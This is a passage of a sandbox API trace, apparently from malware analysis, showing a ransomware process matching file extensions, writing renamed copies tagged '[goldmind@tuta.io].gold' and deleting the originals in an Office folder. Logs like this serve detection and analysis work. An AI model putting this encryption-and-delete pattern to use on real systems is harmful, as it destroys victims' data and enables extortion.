Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.356] lstrlenW (lpString=".doc") returned 4 [0103.356] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.356] lstrlenW (lpString=".docx") returned 5 [0103.357] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0103.357] lstrlenW (lpString=".pdf") returned 4 [0103.357] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.357] lstrlenW (lpString=".xls") returned 4 [0103.357] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.357] lstrlenW (lpString=".xlsx") returned 5 [0103.357] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0103.357] lstrlenW (lpString=".ppt") returned 4 [0103.357] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.357] lstrlenW (lpString=".zip") returned 4 [0103.357] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.357] lstrlenW (lpString=".rar") returned 4 [0103.357] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.357] lstrlenW (lpString=".bz2") returned 4 [0103.357] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.357] lstrlenW (lpString=".7z") returned 3 [0103.357] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.357] lstrlenW (lpString=".dbf") returned 4 [0103.357] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.357] lstrlenW (lpString=".1cd") returned 4 [0103.357] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0103.357] lstrlenW (lpString=".jpg") returned 4 [0103.357] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.357] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0103.357] lstrlenW (lpString="MSOUC.HXS") returned 9 [0103.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.358] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=431456) returned 1 [0103.358] CloseHandle (hObject=0x38c) returned 1 [0103.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 0x20 [0103.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.358] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.358] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0103.487] GetLastError () returned 0x0 [0103.487] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x69560, lpOverlapped=0x0) returned 1 [0103.573] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x69570, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x69570, lpOverlapped=0x0) returned 1 [0103.579] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.579] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0103.579] SetEndOfFile (hFile=0x398) returned 1 [0103.579] CloseHandle (hObject=0x398) returned 1 [0103.579] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.579] SetEndOfFile (hFile=0x38c) returned 1 [0103.586] CloseHandle (hObject=0x38c) returned 1 [0103.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.587] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc.hxs")) returned 1 [0103.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.587] lstrlenW (lpString=".doc") returned 4 [0103.587] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.587] lstrlenW (lpString=".docx") returned 5 [0103.587] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0103.587] lstrlenW (lpString=".pdf") returned 4 [0103.587] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.587] lstrlenW (lpString=".xls") returned 4 [0103.587] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.587] lstrlenW (lpString=".xlsx") returned 5 [0103.587] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0103.587] lstrlenW (lpString=".ppt") returned 4 [0103.587] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.587] lstrlenW (lpString=".zip") returned 4 [0103.587] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.587] lstrlenW (lpString=".rar") returned 4 [0103.588] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.588] lstrlenW (lpString=".bz2") returned 4 [0103.588] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.588] lstrlenW (lpString=".7z") returned 3 [0103.588] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".dbf") returned 4 [0103.588] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".1cd") returned 4 [0103.588] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".jpg") returned 4 [0103.588] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".doc") returned 4 [0103.588] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0103.588] lstrlenW (lpString=".docx") returned 5 [0103.588] lstrcmpiW (lpString1=".docx", lpString2="C.HXS") returned -1 [0103.588] lstrlenW (lpString=".pdf") returned 4 [0103.588] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0103.588] lstrlenW (lpString=".xls") returned 4 [0103.588] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0103.588] lstrlenW (lpString=".xlsx") returned 5 [0103.588] lstrcmpiW (lpString1=".xlsx", lpString2="C.HXS") returned -1 [0103.588] lstrlenW (lpString=".ppt") returned 4 [0103.588] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".zip") returned 4 [0103.588] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0103.588] lstrlenW (lpString=".rar") returned 4 [0103.588] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0103.588] lstrlenW (lpString=".bz2") returned 4 [0103.588] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0103.588] lstrlenW (lpString=".7z") returned 3 [0103.588] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".dbf") returned 4 [0103.588] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".1cd") returned 4 [0103.588] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0103.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC.HXS") returned 57 [0103.588] lstrlenW (lpString=".jpg") returned 4 [0103.588] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0103.588] lstrcmpiW (lpString1=".HXT", lpString2=".gold") returned 1 [0103.588] lstrlenW (lpString="MSTORE_COL.HXT") returned 14 [0103.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.589] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=206) returned 1 [0103.589] CloseHandle (hObject=0x38c) returned 1 [0103.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 0x20 [0103.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.589] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.589] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0103.590] GetLastError () returned 0x0 [0103.590] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0xce, lpOverlapped=0x0) returned 1 [0103.591] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0103.591] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.591] WriteFile (in: hFile=0x398, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0103.591] SetEndOfFile (hFile=0x398) returned 1 [0103.592] CloseHandle (hObject=0x398) returned 1 [0103.592] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.592] SetEndOfFile (hFile=0x38c) returned 1 [0103.651] CloseHandle (hObject=0x38c) returned 1 [0103.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_col.hxt")) returned 1 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString=".doc") returned 4 [0103.818] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.818] lstrlenW (lpString=".docx") returned 5 [0103.818] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.818] lstrlenW (lpString=".pdf") returned 4 [0103.818] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString=".xls") returned 4 [0103.818] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString=".xlsx") returned 5 [0103.818] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.818] lstrlenW (lpString=".ppt") returned 4 [0103.818] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString=".zip") returned 4 [0103.818] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString=".rar") returned 4 [0103.818] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString=".bz2") returned 4 [0103.818] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.818] lstrlenW (lpString=".7z") returned 3 [0103.818] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString=".dbf") returned 4 [0103.818] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString=".1cd") returned 4 [0103.818] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString=".jpg") returned 4 [0103.818] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.818] lstrlenW (lpString=".doc") returned 4 [0103.818] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0103.818] lstrlenW (lpString=".docx") returned 5 [0103.818] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0103.818] lstrlenW (lpString=".pdf") returned 4 [0103.818] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString=".xls") returned 4 [0103.818] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString=".xlsx") returned 5 [0103.818] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0103.818] lstrlenW (lpString=".ppt") returned 4 [0103.818] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0103.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.819] lstrlenW (lpString=".zip") returned 4 [0103.819] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0103.819] lstrlenW (lpString=".rar") returned 4 [0103.819] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0103.819] lstrlenW (lpString=".bz2") returned 4 [0103.819] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0103.819] lstrlenW (lpString=".7z") returned 3 [0103.819] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0103.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.819] lstrlenW (lpString=".dbf") returned 4 [0103.819] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0103.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.819] lstrlenW (lpString=".1cd") returned 4 [0103.819] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0103.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_COL.HXT") returned 62 [0103.819] lstrlenW (lpString=".jpg") returned 4 [0103.819] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0103.819] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0103.819] lstrlenW (lpString="OIS_COL.HXC") returned 11 [0103.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.938] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=611) returned 1 [0103.939] CloseHandle (hObject=0x3b4) returned 1 [0103.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 0x20 [0103.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.943] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.943] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0103.943] GetLastError () returned 0x0 [0103.943] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x263, lpOverlapped=0x0) returned 1 [0103.948] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x270, lpOverlapped=0x0) returned 1 [0103.948] ReadFile (in: hFile=0x3b4, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.948] WriteFile (in: hFile=0x3a8, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0103.948] SetEndOfFile (hFile=0x3a8) returned 1 [0103.949] CloseHandle (hObject=0x3a8) returned 1 [0103.949] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.949] SetEndOfFile (hFile=0x3b4) returned 1 [0103.950] CloseHandle (hObject=0x3b4) returned 1 [0103.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc")) returned 1 [0103.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.951] lstrlenW (lpString=".doc") returned 4 [0103.951] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.951] lstrlenW (lpString=".docx") returned 5 [0103.951] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.951] lstrlenW (lpString=".pdf") returned 4 [0103.951] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.951] lstrlenW (lpString=".xls") returned 4 [0103.951] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.951] lstrlenW (lpString=".xlsx") returned 5 [0103.951] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.951] lstrlenW (lpString=".ppt") returned 4 [0103.951] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.951] lstrlenW (lpString=".zip") returned 4 [0103.951] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.951] lstrlenW (lpString=".rar") returned 4 [0103.951] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.952] lstrlenW (lpString=".bz2") returned 4 [0103.952] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.952] lstrlenW (lpString=".7z") returned 3 [0103.952] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString=".dbf") returned 4 [0103.952] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString=".1cd") returned 4 [0103.952] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString=".jpg") returned 4 [0103.952] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString=".doc") returned 4 [0103.952] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0103.952] lstrlenW (lpString=".docx") returned 5 [0103.952] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0103.952] lstrlenW (lpString=".pdf") returned 4 [0103.952] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0103.952] lstrlenW (lpString=".xls") returned 4 [0103.952] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0103.952] lstrlenW (lpString=".xlsx") returned 5 [0103.952] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0103.952] lstrlenW (lpString=".ppt") returned 4 [0103.952] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") returned 59 [0103.952] lstrlenW (lpString=".zip") returned 4 [0103.952] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0103.952] lstrlenW (lpString=".rar") returned 4 [0103.952] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0103.952] lstrlenW (lpString=".bz2") returned 4 [0103.952] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0103.952] lstrlenW (lpString=".7z") returned 3 [0103.952] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0103.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC") 